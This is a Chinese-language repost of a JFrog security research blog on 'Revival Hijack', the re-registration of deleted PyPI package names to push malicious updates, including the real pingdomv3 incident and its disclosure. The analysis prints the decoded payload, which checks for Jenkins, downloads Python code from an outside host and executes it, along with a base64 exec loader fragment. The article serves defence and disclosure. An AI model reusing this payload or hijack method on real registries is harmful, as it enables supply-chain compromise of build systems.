JFrog 的安全研究团队持续监控开源软件注册表,主动识别和解决潜在的恶意软件和漏洞威胁,以促进开源软件开发和部署的安全可靠的生态系统。本博客详细介绍了 JFrog 研究团队发现的最近在野外被利用的 PyPI 供应链攻击技术。这种攻击技术涉及劫持 PyPI 软件包,方法是操纵在原始所有者从 PyPI 索引中删除软件包后重新注册它们的选项;我们将这种技术称为“复兴劫持”。
我们对 PyPI 的实际分析证明,“Revival Hijack”攻击方法可用于劫持 22K 个现有 PyPI 软件包,并随后导致数十万个恶意软件包下载。幸运的是,我们的主动措施在造成重大损失之前阻止了不良行为者的努力。
我们将描述此攻击的有效性以及攻击者如何使用此方法劫持“pingdomv3”包。我们的目标是提高对这种可能的攻击媒介的认识,并分享我们目前为保护 PyPI 社区免受此劫持技术侵害而采取的行动。
什么是“复活劫持”技术?
对开源软件存储库用户来说,最流行的攻击媒介之一是域名抢注,恶意行为者使用与流行软件包名称稍有不同的名字来注册软件包。
域名抢注攻击向量
开发人员可能会意外安装这些欺骗性软件包,从而导致潜在的安全漏洞。虽然这种方法曾经很有效,但现代开发环境已越来越减少其对人为错误的依赖,从而降低了其在企业环境中的有效性。
在分析 PyPI 中最新的恶意软件包时,我们发现了一条与已删除软件包有关的有趣 PyPI 政策。当开发人员从 PyPI 存储库中删除他们的项目时,关联的软件包名称会立即可供其他用户注册。唯一的保障措施是一个对话框,警告原始开发人员其行为可能造成的后果 -
项目删除对话框项目删除对话框
如上所述,不幸的是,一旦一个流行的项目被删除,攻击者就可以轻松劫持相同的软件包名称,并随后感染任何试图将该软件包更新到最新版本的用户(或者 - 从头开始重新安装,这在运行静态管道的 CI/CD 机器中很常见)-
“复兴劫持” PyPI 攻击图示“
这种劫持技术非常强大,因为-
-
该技术并不依赖于受害者在安装软件包时犯的错误(不同于域名抢注,后者需要受害者犯错)
-
将“曾经安全”的包更新到最新版本被许多用户视为安全的操作(尽管事实并非如此!)
-
许多 CI/CD 机器已经设置为自动安装这些包
重现攻击
为了测试 Revival Hijack 攻击的可行性,我们以安全的方式重现了该攻击。我们的实验表明,在处理已删除的软件包时,存在更令人不安的行为。
为了重现这次攻击,我们创建了一个名为revival-package version 1.0.0 的空包,并从origin_author帐户发布它。
用于测试 Revival Hijack 的“安全”包
然后我们删除了该项目并从另一个帐户new_author发布了同名的包,使用版本 4.0.0。
用于测试 Revival Hijack 的“Hijacked”包
上面的截图证实了我们毫无问题地完成了这一任务——原始用户的版本被完全删除,并被来自新“恶意”用户的新版本所取代。
PyPI 存储库有一些防止冒充的措施,即能够区分软件包元数据中的作者姓名和发布软件包的实际用户。此措施有助于防止未经授权的用户误认为合法作者的身份。
未经核实的包裹详情
然而,这些保护措施似乎无法缓解“复兴劫持”的情况。当我们运行pip以显示任何过时的软件包时,它高兴地将我们的冒名顶替软件包显示为原始软件包的“只是新版本”(4.0.0)——名称相同但代码大不相同!
$ pip list --outdated
Package Version Latest Type
----------------- ------- ------ -----
pip 23.0.1 24.0 wheel
revival-package 1.0.0 4.0.0 wheel
该pip install --upgrade命令也不会显示任何警告,并用我们的 imposter 包替换原始包:
$ pip install --upgrade revival-package
Requirement already satisfied: revival-package in ./lib/python3.10/site-packages (1.0.0)
Collecting revival-package
Downloading revival-package-4.0.0-py3-none-any.whl (1.2 kB)
Installing collected packages: revival-package
Attempting uninstall: revival-package
Found existing installation: revival-package 1.0.0
Uninstalling revival-package-1.0.0:
Successfully uninstalled revival-package-1.0.0
Successfully installed revival-package-4.0.0
更新被劫持的软件包
我们的实验表明,任何被删除的软件包在被删除后都可能被立即轻易地劫持。pip尽管软件包的作者已经改变,但不会显示任何警告。
“复兴劫持”的广泛潜力
在证明劫持删除的合法软件包很容易做到之后,我们决定分析 PyPI 上有多少软件包容易受到“复兴劫持”的影响 - 这意味着它们之前已被删除,现在可以被替换/劫持。
通过简单统计已删除的 PyPI 软件包,我们发现有 12 万个软件包可以被劫持。然而,为了了解攻击在现实世界中的潜在影响,我们在此列表中应用了额外的过滤器。
-
仅考虑下载量超过 10 万次或活跃时间超过六个月的软件包。
-
过滤掉恶意和垃圾包
应用这些过滤器后,我们得到了超过 22,000 个易受“Revival Hijack”攻击的软件包列表。
PyPI 中的软件包删除有多常见?平均每月删除 309 个软件包,这意味着这种技术的攻击面在不断增加。
每月删除的 PyPI 软件包
(删除软件包数量的突然激增可归因于 PyPI 中的大型恶意软件活动)
为什么流行的软件包会被从 PyPI 中删除?在检查最受欢迎的被删除软件包时,我们发现了删除这些合法软件包的几个原因 -
-
将相同功能引入官方库或内置 API
-
缺乏维护(维护人员无法再正确支持该库)
-
软件包由同一开发人员重写(类似功能,新软件包)
由于引入官方支持,JayDeBeApi3 软件包已被删除
采取行动保护 PyPI 社区
为了确保这些软件包不被劫持,我们创建了一个名为security_holding的帐户,以向 NPM 用空的良性软件包替换恶意软件包的方法致敬。使用此帐户,我们“安全劫持”(保留)了下载次数最多的废弃软件包,并将其替换为空软件包(请参阅附录 A 以获取完整列表)。通过这样做,我们阻止了真正的攻击者劫持这些软件包并在其中放置恶意代码。
为了保护 PyPI 社区,我们保留的一个废弃软件包
此外,我们使用版本0.0.0.1来确保我们的替换(空)包不会被通过运行安装了旧包的用户拉取pip update。
被劫持的版本号可以在项目的 GitHub 页面中看到
“复活劫持”的现实效果
成功保留这些软件包后,我们决定检查是否有人正在下载它们,即使它们已被删除了一段时间。我们惊讶地发现,在短短几天内,我们已经积累了数千次下载,而今天(3 个月后),这些“安全劫持”软件包的下载量已接近 20 万次。这似乎表明,有些过时的作业和脚本仍在寻找已删除的软件包,或者由于域名抢注而手动下载这些软件包的用户。
前 10 个“安全劫持”的 PyPI 软件包的下载次数
这些下载次数表明,“复兴劫持”威胁非常大!
由于我们的“劫持”包是空的,我们无法确定在 100% 的下载情况下都会发生代码执行(这需要带有“ping home”有效负载的包),但可以非常肯定地说,在绝大多数情况下都会发生代码执行。劫持下载次数如此之多的包绝对可以用作供应链攻击,后果严重。
此外,这些下载量 实际上是对真实“复兴劫持”攻击有效性的保守估计 。为了造成最少的更改,我们将空“劫持”包的版本设置为 0.0.0.1。这可以防止这些包被提取 pip update,因为已安装的版本始终高于 0.0.0.1。真正的攻击者会使用非常高的版本(例如 9999.9999) 以确保 pip update 也会受到影响,类似于“依赖混淆”场景。
是什么原因导致我们预订的软件包有如此高的下载量,即使这些软件包之前已被放弃?
首先, IntelliJ IDEA Python 插件会自动推荐已删除的包jaydebeapi3,而不是下载量高达 150M 的更受欢迎的包jaydebeapi 。
IntelliJ 建议安装 JayDeBeApi3,即使它已从 PyPI 中删除
这导致当我们用空包重新注册JayDeBeApi3后,它的下载量非常大。
此外, discord-components和gingerit软件包在 80 个流行的 GitHub 存储库中用作依赖项,这些存储库被分叉了 150 多次。这使它们成为供应链攻击的完美目标——
一些依赖于“gingerit”PyPI 包的 GitHub 存储库
依赖于我们“安全劫持”软件包的软件包的总体受欢迎程度
PyPI 现有的包劫持缓解措施
PyPI 注册表包含防止使用方法注册欺骗性软件包的措施ProjectService.create_project。此方法将阻止在以下情况下注册新的 PyPI 软件包 -
-
如果规范化的包名称与现有的 PyPI 包名称匹配
-
如果规范化的软件包名称在 PyPI 的黑名单软件包列表中(PyPI 不会发布此列表)
-
如果规范化的包名称与任何现有的 PyPI 包名称相似。相似度使用以下代码计算:
SELECT lower(
regexp_replace(
regexp_replace(
regexp_replace($1, '(.|_|-)', '', 'ig'),
'(l|L|i|I)', '1', 'ig'
),
'(o|O)', '0', 'ig'
)
)
PyPI 的 SQL 查询用于在注册新包时检测域名抢注
此代码通过将外观相似的字符替换为相应的数字或删除句号、下划线和连字符等字符来防止简单的域名抢注。这种方法有助于防止注册名称与现有软件包外观相似的软件包,从而降低欺骗性或误导性软件包名称的风险。
这些措施涵盖了恶意软件开发人员使用的一些技术,但远非全面。虽然它们有助于防止创建某些恶意软件包,但它们并未完全覆盖所有潜在漏洞。例如,如果被移除项目的名称自动添加到软件包黑名单中,现有的黑名单验证可以有效防止 Revival Hijack 攻击。
现实世界中的复兴劫持——pingdomv3 的故事
Revival Hijack 不仅仅是一种理论上的攻击,我们的研究团队已经看到它在野外被利用。
2024 年 4 月 12 日,我们的自动扫描系统检测到涉及“pingdomv3”软件包的异常活动。我们观察到该软件包已获得新所有者——这一细节已被标记为潜在的危险信号。3 月 30 日,新所有者发布了一个看似良性的更新,随后又发布了另一个版本,引入了可疑的 Base64 混淆负载。
import logging
try:
from logging import NullHandler
if NullHandler:
import base64
exec(base64.b64decode("dHJ5OgogIC....
...
来自“pingdomv3”包的混淆恶意代码
这些发展立即触发了我们恶意软件包扫描框架内的警报,促使对该恶意软件的潜在风险和后果进行彻底调查。
攻击时间表
软件包名称及其入侵方法尤其令人感兴趣。虽然域名抢注是开源软件存储库用户常用的攻击媒介,但此事件展示了一种更为复杂的方法。
该软件包的最早版本为 0.0.2,于 2019 年 11 月 29 日发布。这个合法软件包包含 Pingdom API 的 Python 实现,Pingdom API 是 SolarWinds 软件开发公司于 2014 年收购的一项网站监控服务。
Pingdomv3 攻击时间表
原始软件包所有者cheneyyan维护了一个GitHub 项目,该项目现已不可用。他们发布了几个经过微小修改的版本,最后一次合法更新是 2020 年 4 月 7 日的 0.0.6 版本。
后续更新停止,直到 2024 年 3 月 27 日,0.1 版本出现。此版本仅引入了一种从 setup.py 调用的方法,该方法显示以下消息:
'Hello, please avoid using this package as it is no longer supported. Contact [email protected]!'
这表明该项目已被放弃并建议不要使用。
3月30日,0.1版本发布几天后,原作者删除了该项目,因此该项目名称可以注册。
Summary: Pingdom v3 redeveloped
Home-page: https://github.com/jinnis423/pingdomv3
Author: Jinnis Author-email: [email protected]
在该名称可用后不久,一个名为Jinnis <[email protected]>的帐户发布了一个同名软件包,版本号为 1.0.0。这个新项目声称是对原始软件包的重新开发,指向一个不存在的 GitHub 存储库 https://github.com/jinnis423。此版本包含与原始版本相同的代码。
几天后,即 2024 年 4 月 12 日,新开发人员发布了一个更新,其中包含我们的团队及时检测到的恶意负载。
我们立即向 PyPI 维护人员报告了该恶意软件,并收到了已被删除的确认。PyPI 安全工程师 Mike Fiedler 表示:
“经过今天的努力,所有版本均已被删除,并且该名称已被禁止使用。”
有效载荷分析
攻击者使用了典型的 Python 恶意软件负载——从 Base64 解码后动态执行字符串,这次没有使用复杂的混淆技术。我们很快提取了原始代码,对恶意负载进行了详细分析。
try:
import requests, os
if "JENKINS_URL" in os.environ:
r = requests.get('https://yyds.yyzs.workers.dev/meta/statistics')
exec(r.text)
except:
pass
JENKINS_URL攻击者使用了一种简洁但危险的 Python 木马恶意软件实现。代码片段在条件块内运行,该条件块检查环境变量中是否存在,指示在 Jenkins 持续集成设置中执行。
确认后,它会向 URL 执行 HTTP GET 请求https://yyds.yyzs.workers.dev/meta/statistics。响应(预计为 Python 代码)然后直接使用该exec函数执行。
不幸的是,所有从服务器检索有效负载的尝试都得到了空响应。这表明攻击者要么延迟了攻击的实施,要么将其设计得更具针对性,可能将其限制在特定的 IP 范围内。
向 PyPI 维护者披露
JFrog 安全研究团队于 6 月联系了 PyPI 的安全团队并披露了此问题。我们在报告中提供了有关如何实施此攻击的技术说明,还提供了所有易受攻击的软件包的统计数据。
PyPI 的安全团队回应称:
-
从 2022 年 7 月开始,Python 论坛就一直在讨论删除政策变更的主题,但截至 2023 年中期尚未得出结论。
-
PyPI 告知最终用户删除的潜在影响 –
3.PyPI 防止替换软件包的特定版本,这与OpenSSF 工作组最近发布的软件包存储库安全原则(通用功能,级别 2)一致。
虽然我们同意以上所有措施都是针对这种攻击技术的有价值的缓解措施,但正如我们所证明的,这仍然是一种极其可行的攻击媒介,在现实条件下会导致数十万个恶意软件包下载。
我们完全提倡 PyPI 采取更严格的政策,完全禁止重复使用软件包名称。此外,PyPI 用户在考虑升级到新软件包版本时需要注意这种潜在的攻击媒介。
概括
“复兴劫持”方法可被攻击者用作简单的供应链攻击,以组织为目标并渗透到各种环境中,从而使攻击者能够控制敏感资源。
虽然我们采取了主动措施保留(“安全保留”)这些软件包并添加安全副本,可以保护 PyPI 社区免受攻击者劫持下载次数最多的软件包的侵害,但
PyPI 用户应该保持警惕,确保他们的 CI/CD 机器不会尝试安装已从 PyPI 中删除的软件包。
攻击者利用处理已删除软件包时存在的漏洞行为,劫持现有软件包,从而可以在无需用户交互的情况下将其安装到目标系统。幸运的是,这一次,我们的主动措施在造成重大损失之前挫败了他们的企图。
附录 A:JFrog 保留的软件包列表
以下是 JFrog 安全研究团队在 2024 年 5 月 21 日至 5 月 28 日期间接管的软件包列表,以保护它们不被使用 Revival Hijack 技术的攻击者劫持。我们的团队使用名为security_holding的用户保留了这些软件包,通过上传版本号较低的空软件包(0.0.0.1)来替换那些被遗弃的软件包。
原文始发于微信公众号(Ots安全):Revival Hijack – PyPI 劫持技术遭野外利用,22K 个软件包面临风险
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论